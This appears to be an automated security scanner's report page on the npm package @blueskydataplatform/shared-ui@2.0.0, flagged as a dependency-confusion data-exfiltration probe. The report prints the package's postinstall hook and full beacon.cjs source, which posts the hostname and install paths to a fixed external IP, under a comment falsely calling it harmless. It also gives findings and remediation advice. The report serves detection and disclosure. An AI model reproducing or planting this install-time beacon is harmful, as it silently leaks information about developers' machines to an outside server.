registry / Data exfiltration / @blueskydataplatform/shared-ui / 2.0.0

@blueskydataplatform/shared-ui@2.0.0

Compatibility shim.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 2h ago · by lpm-firewall-ai

Source confirms automatic install-time collection and transmission of host and project identifiers to a fixed external endpoint. This supports blocking the package as an installation-time data exfiltration attack.

Static reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

Installing the package runs its postinstall command.

Impact

The endpoint receives identifiers that disclose the machine and package installation context.

Mechanism

The command runs beacon.cjs, which builds a payload containing the hostname and installation and working paths, then posts it to the fixed endpoint.

Attack narrative

On package installation, the postinstall hook directly runs beacon.cjs. The script posts the machine hostname, installation path, and working directory to a fixed external endpoint without an installer consent guard.

AI rationale

Evidence

package.jsonbeacon.cjs

Network endpoints1

185.158.107.175:8787/_ah/dc

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The package runs beacon.cjs automatically during postinstall.
The beacon targets a fixed external IP address.
The payload includes the machine hostname and installation and working paths.
Running beacon.cjs directly activates the send, which posts the payload.

Evidence against

Behavioral surface

Source

Network

Supply chain

UrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 2.29 KB of source, external domains: 185.158.107.175

Source & flagged code

9 flagged

package.jsonView file

•scripts.postinstall = node beacon.cjs

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"main": "index.js", "scripts": { "postinstall": "node beacon.cjs" }, "files": [ "index.js",

High

Suspicious Lifecycle Evidence

The package runs beacon.cjs automatically during postinstall.

package.jsonView on unpkg · L5

beacon.cjsView file

Lines 1-38javascript

1'use strict';

2// Build-provenance beacon. Reports only machine/package metadata so the

3// recipient can correlate an install. No data beyond that is collected or sent.

4var BEACON = "http://185.158.107.175:8787/_ah/dc";

5var PKG = "@blueskydataplatform/shared-ui";

6function _post(payload) {

7 return new Promise(function (resolve) {

8 try {

High

Ai Review Evidence

The beacon targets a fixed external IP address.

beacon.cjsView on unpkg · L4

9 var u = new URL(BEACON);

10 var lib = u.protocol === 'https:' ? require('https') : require('http');

11 var data = Buffer.from(JSON.stringify(payload));

12 var req = lib.request({

13 hostname: u.hostname,

14 port: u.port || (u.protocol === 'https:' ? 443 : 80),

15 path: u.pathname + u.search,

16 method: 'POST',

17 headers: { 'content-type': 'application/json', 'content-length': data.length, 'x-beacon-package': PKG }

High

Ai Review Evidence

Running beacon.cjs directly activates the send, which posts the payload.

beacon.cjsView on unpkg · L12

18 }, function (res) { res.resume(); res.on('end', resolve); });

19 req.on('error', function () { resolve(); });

20 req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });

21 req.write(data); req.end();

22 } catch (e) { resolve(); }

23 });

24}

25function fire() {

26 var payload = {

High

Ai Review Evidence

Running beacon.cjs directly activates the send, which posts the payload.

beacon.cjsView on unpkg · L21

27 package: PKG,

28 hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),

29 installPath: __dirname,

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

beacon.cjsView on unpkg · L3

30 cwd: (function () { try { return process.cwd(); } catch (e) { return ''; } })(),

31 userAgent: 'npm/' + (process.version || ''),

32 protocol: (BEACON.indexOf('https:') === 0) ? 'https' : 'http'

High

Ai Review Evidence

The payload includes the machine hostname and installation and working paths.

beacon.cjsView on unpkg · L26

33 };

34 return _post(payload);

35}

36if (require.main === module) { fire().then(function () { process.exitCode = 0; }); }

37module.exports = { fire: fire };

High

Ai Review Evidence

Running beacon.cjs directly activates the send, which posts the payload.

beacon.cjsView on unpkg · L36

•matchType = malicious_source_fingerprint_signature signature = a5258e167635ba3a signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @grabcad/grabcad-shop-shared@99.0.1 matchedPath = beacon.cjs matchedIdentity = npm:[redacted]:99.0.1 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

beacon.cjsView on unpkg

Source & flagged code

9 flagged · loading source

package.jsonView file

•scripts.postinstall = node beacon.cjs

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"main": "index.js", "scripts": { "postinstall": "node beacon.cjs" }, "files": [ "index.js",

High

Suspicious Lifecycle Evidence

The package runs beacon.cjs automatically during postinstall.

package.jsonView on unpkg · L5

beacon.cjsView file

3// recipient can correlate an install. No data beyond that is collected or sent. L4: var BEACON = "http://185.158.107.175:8787/_ah/dc"; L5: var PKG = "@blueskydataplatform/shared-ui"; ... L10: var lib = u.protocol === 'https:' ? require('https') : require('http'); L11: var data = Buffer.from(JSON.stringify(payload)); L12: var req = lib.request({ ... L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); }); L21: req.write(data); req.end(); L22: } catch (e) { resolve(); } ... L27: package: PKG, L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(), L29: installPath: __dirname,

Findings

9 High1 Medium2 Low

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationbeacon.cjs

HighKnown Malware Source Fingerprint Signaturebeacon.cjs

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencebeacon.cjs

MediumNetwork

LowScripts Present

LowUrl Strings

Affected versions and remediation

This report applies to @blueskydataplatform/shared-ui@2.0.0.

See all versions of @blueskydataplatform/shared-ui for other recorded verdicts.

Avoid installing @blueskydataplatform/shared-ui@2.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-22 23:48:59.459Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Related packages

Other data exfiltration packages

Related packages

Other data exfiltration packages

Source & flagged code